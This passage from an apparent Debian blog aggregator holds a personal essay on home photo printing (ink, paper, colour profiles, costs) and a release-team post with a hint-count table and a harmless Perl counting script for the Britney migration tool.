But time passes, and a few years back though, at the end of 2013, I had the misfortune to learn on various photography forums that, within certain limits, one can do high quality printing at home—quality high enough for serious prints. I always imagined that "serious" prints can only happen on big, professional stuff, but to my surprise, what I was reading was that many professional photographers can do their prints themselves (for certain paper sizes). I tried before printing photos on my laser printer that I wrote about, but that is a hilarious exercise, nothing more. Thinking process was pretty simple:

  • another hobby? check!
  • new gear to learn? check!
  • something more palpable to do with my photos? good enough reason, check!

So I decided to get a photo printer. Because hey, one more printer was the thing I was missing the most.

Ink

The think with inkjet photo printers is that the bigger they are, the more cheaper the ink is, and the more optimised they are for large volume printing. The more optimisation for large volume, the worse the printers do if you don't print often enough, in the sense of dried ink. This means clogged heads, and each of the serious printer manufacturers (Canon, Epson, HP) deal in different ways with it; some by having extra, spare lines in the print head that replace the clogged ones, others have replaceable printer heads, others rely on wasting ink by trying to flush the ink lines, etc. Also within each manufacturer's lines, different printers behave differently. So one must take this into account—how often will you print? Of course I thought very often, but the truth is, this is just another hobby, so time is lacking, and I have weeks going by without turning the printer on.

And so, I did have some problems with dried ink, but minor I'd say; I only had once to run a "power cleaning", when due to real world I didn't have time to turn the printer on for months; I managed to choose a good printer in this regard. I never though computed how much ink I wasted with cleaning the heads ☺

Paper

Another issue with printing is the fact that the result is a physical object, outside of the digital realm. And the transition from digital to physical is tricky.

First, the printer itself and the ink are one relatively straightforward choice: decide (by whatever criteria you want) on the printer, and most printers at this level have one set of inks only. But the problem is: which paper?

And as I learned, since how the paper looks is a subjective thing, this is an endless topic…

  • first question: glossy or matte ink?
  • if glossy, which type of paper? actually glossy (uh, no), semi-gloss, pearl, satin?
  • if matte, are we talking about textured or smooth matte?
  • what weight? fine art paper that I tested can go from a very interesting 100gsm (almost like standard paper) Rice Paper, to 210, 286, 310 (quite standard), 325, 350 and finally towards 390-410 heavy canvas;
  • on the more professional side, do you care about lifetime of paper? if you choose yes, then take care of choosing paper with no OBA—optical brightening agents;
  • and if you really want to go deep, what base? cellulose, alpha-cellulose or cotton?

As you can see, this is really a bottomless pit. I made the mistake of buying lots of sample packs, thinking that settling on a specific paper will be an objective process, but no. Three years later, I have a few favourite papers, but I'm sure I could have almost randomly chosen them (read 3 reviews, choose) and not gotten objectively different results.

ICC profiles and processing

Another thing is that simply having the printer and the paper doesn't mean everything is fixed. Since printers are analog devices, there needs to be a printer and paper specific colour profile, so that you get (on paper) what you see on the screen (which also needs to be calibrated). So when choosing the printer you should be careful to choose one which is common enough that it has profiles, ideally profiles done by the paper manufacturer themselves. Or, you can go the more basic route, and calibrate the printer/paper combination yourself! I skipped that part though. However you get a profile, if you tell your photo processing application what is your display profile and your printer+paper profile, ideally you what you see is what you get, this time for real.

Except… that sometimes the gamut of colours in the picture can't be represented entirely in either the display nor the printer profile, so the display is an approximation, but a different one than your printer will do on paper. So you learn about relative and perceptual colorimetric conversions, and you read many blog posts about which one to use for what type of pictures (portraits have different needs than landscapes), and you wonder why did you chose this hobby?

Of course, you can somewhat avoid the previous two issues by going more old-school to black and white printing. This should be simple, right? Black and white, nothing more. Hah, you wish. Do you do the B&W conversion in your photo processing application, or in your printer? Some printers are renowned by their good B&W conversions, some not. If you print B&W, then the choice of papers also change, because some papers are just awesome at B&W, but only so-so for colours. So says the internet, at least.

But even if you solve all of the above, don't give up just yet, because there is still a little problem. Even if you send the right colours to the printer, the way a certain picture looks on paper is different than on screen. This circles somewhat back to paper choice (glossy type ink having deeper blacks than matte, for example) and colour-vs-b&w, but is a general issue: displays have better contrasts than paper (this doesn't mean the pictures are better looking on screen though). So you use the soft-proofing function, but it looks completely weird, and you learn that you need to learn how specific papers will differ from screen, and that sometimes you don't need any adjustment, sometimes you need a +15, which might mean another run of the same print.

You print, then what?

So you print. Nice, high quality print. All colours perfect!

And then what? First, you wait. Because ink, as opposed to laser toner, is not "done" once the paper is out of the printer. It has to dry, which is a process taking about 24 hours in its initial phase, and which you help along by doing some stuff. The ink settles during this time in the paper, and only after that you know what the final look of the print will be. Depending on what you plan to do with the print, you might want to lay a layer of protective stuff on top of it; a kind of protective film that will keep it in better shape over time, but which has the downside that a) it must definitely be applied after the ink has dried and the the paper has for sure finished outgassing and b) it's a semi-hard layer, so you can roll the paper anymore (if you were planning to do that for transport). Or you say damn it, this is anyway a poor picture…

So with the print all good and really in its final state, you go on and research what solutions are there for hanging prints at home. And look at frames, and think about behind-glass framing or no glass-framing, and and and… and you realise that if you just printed your photos at a lab, they'd come directly framed!

I still have the really minimalist hanging solution that I bought a year ago unpacked 😕 Getting there, sometime!

Costs/economic sense

If you think all this effort is done in order to save money on prints, the answer is "Ha ha ha" ☺

While professional prints at a lab are expensive, how much do you think all the above (printer, inks, paper, framing, TIME) costs? A lot. It's definitely not worth unless your day job is photography.

No, for me it was more the desire to own the photographic process from start to end: learn enough to be able to choose everything (camera which implies sensor which implies a lot of things, lens, post-processing, printer/ink, paper), and see (and have) the end result of your work in your hands.

Is it worth all the trouble?

Fast forward three years later, I still have the printer, although many times I was thinking of getting rid of it.

It takes space, it costs some money (although you don't realise this as you print, since you already sunk the money in consumables), it takes time.

Being able to print small photos for family (e.g. 10×15) is neat, but a small printer can do this as well, or you can order prints online, or print them from a memory card at many places. Being able to print A4-size (for which framing for e.g. desk-use is a pain) is also neat, but here there are still simpler solutions than your own big printer.

The difference is when you print large. You look at the picture on your big screen, you think/imagine how it will look printer, and then you fire an A2 print.

The printer starts, makes noises for about 10 minutes, and then you have the picture in your hands. The ink is still fresh (you know it takes 24 hours to settle), and has that nice ink smell that you don't get anymore in day to day life. With a good paper and a good printer, the way the picture looks is so special, that all the effort seems trivial now.

I don't know how looking at pictures on an 8K 30+ inch monitor will be; but there's an indescribable difference between back-lighted LCD and paper for the same picture. Even at the same relative size, the paper is real, while the picture is virtual. You look at the people in the picture on your display, whereas the people in the print look at you.

Maybe this is just size. A2 is bigger than my monitor… wait, no. A2 has a diagonal of ~29 inches (vs. the display at 30"). Maybe it's resolution? An A2 print out of D810 is small enough to still have good resolution (it's about 320dpi after the small cropping needed for correcting the aspect ratio, which matches the printer's native 360dpi resolution). Coupled with a good printer, it's more than high enough resolution that even with a loupe, there's enough detail in the picture to not see its "digital" history (i.e. no rasterization, no gradients, etc.) Note that 360dpi for photo inkjet printers is much different from 600-1200dpi for laser printers (which are raster-based, not ink droplet based, so it's really not comparable). In any case, the print, even at this (relatively large) size, feels like a reflection of reality. On the monitor, it still feels like a digital picture. I could take a picture of the print to show you, but that would defeat the point, wouldn't it 😜

And this is what prompted this blog post. I had a pretty intense week at work, so when the weekend came, I was thinking what to do to disconnect and relax. I had a certain picture (people, group photo) that I wanted to print for a while, and it was OK on the screen, but not special. I said, somewhat not very enthusiastic, let's print it. And as the printer was slowly churning along, and the paper was coming out, I remembered why I don't get rid of the printer. Because every time I think about doing that, I say to myself "let's do one more print", which quickly turns into "wow, not, I'm keeping it". Because, even as our life migrates into the digital/virtual realm—or maybe more so—we're still living in the real world, and our eyes like to look at real objects.

And hey, on top of that, it was and still is a pretty intense learning experience!

12 February, 2017 12:46AM

February 11, 2017

Niels Thykier

On making Britney smarter

Updating Britney often makes our life easier. Like:

Concretely, transitions have become a lot easier.  When I joined the release team in the summer 2011, about the worst thing that could happen was discovering that two transitions had become entangled. You would have to wait for everything to be ready to migrate at the same time and then you usually also had to tell Britney what had to migrate together.

Today, Britney will often (but not always) de-tangle the transitions on her own and very often figure out how to migrate packages without help. The latter is in fact very visible if you know where to look.  Behold, the number of manual “easy” and “hint”-hints by RT members per year[2]:

Year | Total | easy | hint
-----+-------+------+-----
2005 |   53  |   30 |  23 
2006 |  146  |   74 |  72
2007 |   70  |   40 |  30
2008 |  113  |   68 |  45
2009 |  229  |  171 |  58
2010 |  252  |  159 |  93
2011 |  255  |  118 | 137
2012 |   29  |   21 |   8
2013 |   36  |   30 |   6
2014 |   20  |   20 |   0
2015 |   25  |   17 |   8
2016 |   16  |   11 |   5
2017 |    1  |    1 |   0

As can be seen, the number of manual hints drop by factor of ~8.8 between 2011 and 2012. Now, I have not actually done a proper statistical test of the data, but I have a hunch that drop was “significant” (see also [3] for a very short data discussion).

 

In conclusion: Smooth-updates (which was enabled late in 2011) have been a tremendous success. 🙂

 

[1] A very surprising side-effect of that commit was that the (“original”) auto-hinter could now solve a complicated haskell transition. Turns out that it works a lot better, when you give correct information! 🙂

[2] As extracted by the following script and then manually massaged into an ASCII table. Tweak the in-line regex to see different hints.

respighi.d.o$ cd "/home/release/britney/hints" && perl -E '
    my (%years, %hints);
    while(<>) { 
        chomp;
        if (m/^\#\s*(\d{4})(?:-?\d{2}-?\d{2});/ or m/^\#\s*(?:\d+-\d+-\d+\s*[;:]?\s*)?done\s*[;:]?\s*(\d{4})(?:-?\d{2}-?\d{2})/) {
             $year = $1; next;
         }
         if (m/^((?:easy|hint) .*)/) {
             my $hint = $1; $years{$year}++ if defined($year) and not $hints{$hint}++;
             next;
         }
         if (m/^\s*$/) { $year = undef; next; }
    };
    for my $year (sort(keys(%years))) { 
        my $count = $years{$year};
        print "$year: $count\n"
    }' * OLD/jessie/* OLD/wheezy/* OLD/Lenny/* OLD/*

[3]  I should probably mention for good measure that extraction is ignoring all hints where it cannot figure out what year it was from or if it is a duplicate.  Notable it is omitting about 100 easy/hint-hints from “OLD/Lenny” (compared to a grep -c), which I think accounts for the low numbers from 2007 (among other).

Furthermore, hints files are not rotated based on year or age, nor am I sure we still have all complete hints files from all members.


Filed under: Debian, Release-Team

11 February, 2017 05:28PM by Niels Thykier